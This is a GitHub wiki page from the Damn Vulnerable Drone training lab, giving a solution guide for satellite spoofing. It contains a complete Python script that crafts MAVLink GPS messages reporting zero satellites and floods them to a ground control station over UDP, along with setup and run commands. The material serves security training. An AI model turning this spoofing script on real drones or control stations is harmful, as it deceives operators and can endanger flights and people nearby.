Satellite Spoofing - nicholasaleks/Damn-Vulnerable-Drone GitHub Wiki

Spoofing the number of satellites visible to the drone to mislead the Ground Control Station (GCS) about the GPS signal quality.

Damn Vulnerable Drone > Attack Scenarios > Protocol Tampering > Satellite Spoofing

Description

Satellite spoofing involves sending false information about the number of satellites visible to the drone to the Ground Control Station (GCS). This can mislead the GCS about the GPS signal quality and the overall reliability of the drone's positioning system.

Resources

⚠️ Solution Guide

Step 1. Setup

sudo apt-get update
sudo apt-get install python3 python3-pip
pip3 install pymavlink scapy

Step 2. Create the Script

Save the following as satellite-spoofing.py:

from pymavlink import mavutil
from scapy.all import *
import time
import sys

def create_gps_raw_int(mav):
    gps_raw_int = mav.gps_raw_int_encode(
        time_usec=int(time.time() * 1e6),
        fix_type=1,  # No GPS fix
        lat=473566100,
        lon=854619300,
        alt=1500,
        eph=100,
        epv=100,
        vel=500,
        cog=0,
        satellites_visible=0
    )
    return gps_raw_int.pack(mav)

def send_mavlink_packet(packet_data, target_ip, target_port):
    packet = IP(dst=target_ip) / UDP(dport=target_port) / Raw(load=packet_data)
    send(packet)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python satellite-spoofing.py <ip:port>")
        sys.exit(1)

    target_ip, target_port = sys.argv[1].split(':')
    target_port = int(target_port)

    mav = mavutil.mavlink.MAVLink(None)
    mav.srcSystem = 1
    mav.srcComponent = 1

    while True:
        gps_packet = create_gps_raw_int(mav)
        send_mavlink_packet(gps_packet, target_ip, target_port)
        print(f"Sent GPS spoofing packet with 0 satellites to {target_ip}:{target_port}")

Step 3. Run the Script

sudo python3 satellite-spoofing.py 10.13.0.6:14550

Replace with appropriate IP and port if needed:

  • 10.13.0.6:14550 — QGroundControl
  • 192.168.13.14:14550 — MAVProxy over WiFi
  • 10.13.0.4:14550 — MAVProxy over bridge

Step 4. Monitor the Effects

Watch the GCS display. The spoofed messages will show 0 satellites visible, misleading the operator into thinking the drone has no GPS lock or weak GPS reliability.

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